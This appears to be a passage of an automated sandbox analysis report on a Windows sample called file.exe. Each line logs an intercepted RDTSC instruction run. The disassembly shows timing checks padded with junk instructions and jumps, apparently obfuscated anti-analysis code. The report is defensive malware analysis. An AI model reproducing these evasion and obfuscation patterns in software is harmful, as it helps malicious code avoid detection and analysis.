Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92A7D7 second address: 92A7DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92A7DC second address: 92A7F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F367D44DA06h 0x0000000a jmp 00007F367D44DA0Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92A7F3 second address: 92A801 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F367CBFD3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92A050 second address: 92A060 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F367D44DA0Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92A060 second address: 92A086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jo 00007F367CBFD3F4h 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 pushad 0x00000014 jmp 00007F367CBFD3E0h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92A1C0 second address: 92A1C5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92A1C5 second address: 92A1E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F367CBFD3DFh 0x00000009 pop edi 0x0000000a jc 00007F367CBFD3DCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92A1E1 second address: 92A1F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jbe 00007F367D44DA06h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92A387 second address: 92A3A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3E6h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jl 00007F367CBFD3D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92A4F1 second address: 92A4F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92A4F5 second address: 92A502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D345 second address: 92D34A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D34A second address: 92D34F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D3C5 second address: 92D42D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f popad 0x00000010 jmp 00007F367D44DA0Ah 0x00000015 popad 0x00000016 nop 0x00000017 add edx, dword ptr [ebp+122D2D81h] 0x0000001d push 00000004h 0x0000001f xor dword ptr [ebp+1246F69Fh], ecx 0x00000025 call 00007F367D44DA09h 0x0000002a push eax 0x0000002b pushad 0x0000002c jmp 00007F367D44DA0Eh 0x00000031 jmp 00007F367D44DA11h 0x00000036 popad 0x00000037 pop eax 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F367D44DA0Fh 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D42D second address: 92D462 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F367CBFD3E3h 0x00000013 mov eax, dword ptr [eax] 0x00000015 push esi 0x00000016 jc 00007F367CBFD3D8h 0x0000001c pushad 0x0000001d popad 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 pushad 0x00000024 push edi 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E8E4 second address: 92E8E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E8E8 second address: 92E907 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F367CBFD3E6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E907 second address: 92E90C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9306DE second address: 9306EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F367CBFD3D6h 0x0000000a pop eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 930229 second address: 930257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F367D44DA08h 0x0000000a push edx 0x0000000b jns 00007F367D44DA06h 0x00000011 jmp 00007F367D44DA0Ch 0x00000016 pop edx 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d jno 00007F367D44DA06h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 930257 second address: 93025D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93025D second address: 930265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 930265 second address: 93026A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93026A second address: 930271 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0360 second address: 4CE0364 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0364 second address: 4CE036A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE036A second address: 4CE036F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE036F second address: 4CE03A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, 4D59h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F367D44DA14h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F367D44DA0Dh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE03A1 second address: 4CE03B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE03B6 second address: 4CE03C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 64h 0x00000005 mov cx, 9DBFh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE03C9 second address: 4CE03CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE03CD second address: 4CE03E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE03E4 second address: 4CE03FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F367CBFD3E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE03FC second address: 4CE0400 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0400 second address: 4CE042E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F367CBFD3E7h 0x0000000f pop ebp 0x00000010 pushad 0x00000011 movzx esi, bx 0x00000014 pushad 0x00000015 mov edi, 48D882B2h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0115 second address: 4CD011B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD011B second address: 4CD0146 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F367CBFD3E5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0146 second address: 4CD014C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD014C second address: 4CD0150 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00CD5 second address: 4D00D08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F367D44DA0Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00D08 second address: 4D00D0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00D0C second address: 4D00D12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA01AD second address: 4CA01B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA01B3 second address: 4CA01B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA01B7 second address: 4CA01C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA01C4 second address: 4CA0214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 call 00007F367D44DA14h 0x0000000a pop ebx 0x0000000b popad 0x0000000c mov dword ptr [esp], ebp 0x0000000f jmp 00007F367D44DA0Ch 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 movzx esi, di 0x0000001a call 00007F367D44DA13h 0x0000001f mov dh, al 0x00000021 pop edi 0x00000022 popad 0x00000023 push dword ptr [ebp+04h] 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0214 second address: 4CA0218 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0218 second address: 4CA021E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA021E second address: 4CA023F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f movzx ecx, di 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA028F second address: 4CA0295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0295 second address: 4CA0299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0299 second address: 4CA029D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0E02 second address: 4CC0E07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0E07 second address: 4CC0E3E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ebx, ecx 0x0000000d mov eax, 51B53899h 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F367D44DA12h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0E3E second address: 4CC0EAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F367CBFD3E4h 0x00000011 add ax, 6288h 0x00000016 jmp 00007F367CBFD3DBh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F367CBFD3E8h 0x00000022 or eax, 475BC4E8h 0x00000028 jmp 00007F367CBFD3DBh 0x0000002d popfd 0x0000002e popad 0x0000002f mov ebp, esp 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 pushad 0x00000035 popad 0x00000036 movsx edi, ax 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0EAC second address: 4CC0EEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 2722015Ch 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F367D44DA0Ah 0x00000016 pushfd 0x00000017 jmp 00007F367D44DA12h 0x0000001c xor cx, 99A8h 0x00000021 jmp 00007F367D44DA0Bh 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC089F second address: 4CC08DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F367CBFD3E9h 0x0000000b xor ax, 4576h 0x00000010 jmp 00007F367CBFD3E1h 0x00000015 popfd 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC08DD second address: 4CC08E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC08E1 second address: 4CC08F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0827 second address: 4CC082F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC082F second address: 4CC0852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 jmp 00007F367CBFD3DEh 0x0000000d mov dword ptr [esp], ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov dx, 3330h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0637 second address: 4CC063D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD04DB second address: 4CD054D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007F367CBFD3DCh 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007F367CBFD3DEh 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 mov dh, cl 0x0000001b jmp 00007F367CBFD3E3h 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 jmp 00007F367CBFD3E6h 0x00000028 pop ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c pushad 0x0000002d popad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00C0E second address: 4D00C24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00C24 second address: 4D00C2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00C2A second address: 4D00C71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA0Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F367D44DA11h 0x00000011 or eax, 51195266h 0x00000017 jmp 00007F367D44DA11h 0x0000001c popfd 0x0000001d mov esi, 0AE3FA97h 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00C71 second address: 4D00C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00C75 second address: 4D00C79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00C79 second address: 4D00C7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE073D second address: 4CE077F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F367D44DA0Eh 0x00000009 adc eax, 691040E8h 0x0000000f jmp 00007F367D44DA0Bh 0x00000014 popfd 0x00000015 mov edi, ecx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b jmp 00007F367D44DA12h 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE077F second address: 4CE0785 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0785 second address: 4CE078A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE078A second address: 4CE07B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F367CBFD3DDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE07B7 second address: 4CE0828 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c call 00007F367D44DA0Ch 0x00000011 pushfd 0x00000012 jmp 00007F367D44DA12h 0x00000017 xor al, 00000068h 0x0000001a jmp 00007F367D44DA0Bh 0x0000001f popfd 0x00000020 pop ecx 0x00000021 mov cx, bx 0x00000024 popad 0x00000025 mov eax, dword ptr [ebp+08h] 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F367D44DA0Ch 0x00000031 or ah, FFFFFFC8h 0x00000034 jmp 00007F367D44DA0Bh 0x00000039 popfd 0x0000003a movzx esi, dx 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0828 second address: 4CE088F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [eax], 00000000h 0x0000000c jmp 00007F367CBFD3E0h 0x00000011 and dword ptr [eax+04h], 00000000h 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F367CBFD3DEh 0x0000001c add ax, 3188h 0x00000021 jmp 00007F367CBFD3DBh 0x00000026 popfd 0x00000027 push eax 0x00000028 push edx 0x00000029 call 00007F367CBFD3E6h 0x0000002e pop ecx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE088F second address: 4CE0893 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0893 second address: 4CE08A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F367CBFD3DAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC076B second address: 4CC0770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0770 second address: 4CC07BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 41F62220h 0x00000008 mov edx, 5F6B404Ch 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007F367CBFD3E2h 0x00000016 xchg eax, ebp 0x00000017 jmp 00007F367CBFD3E0h 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F367CBFD3E7h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07BF second address: 4CC07FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F367D44DA19h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07FC second address: 4CC0802 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0802 second address: 4CC0806 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE026D second address: 4CE0273 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
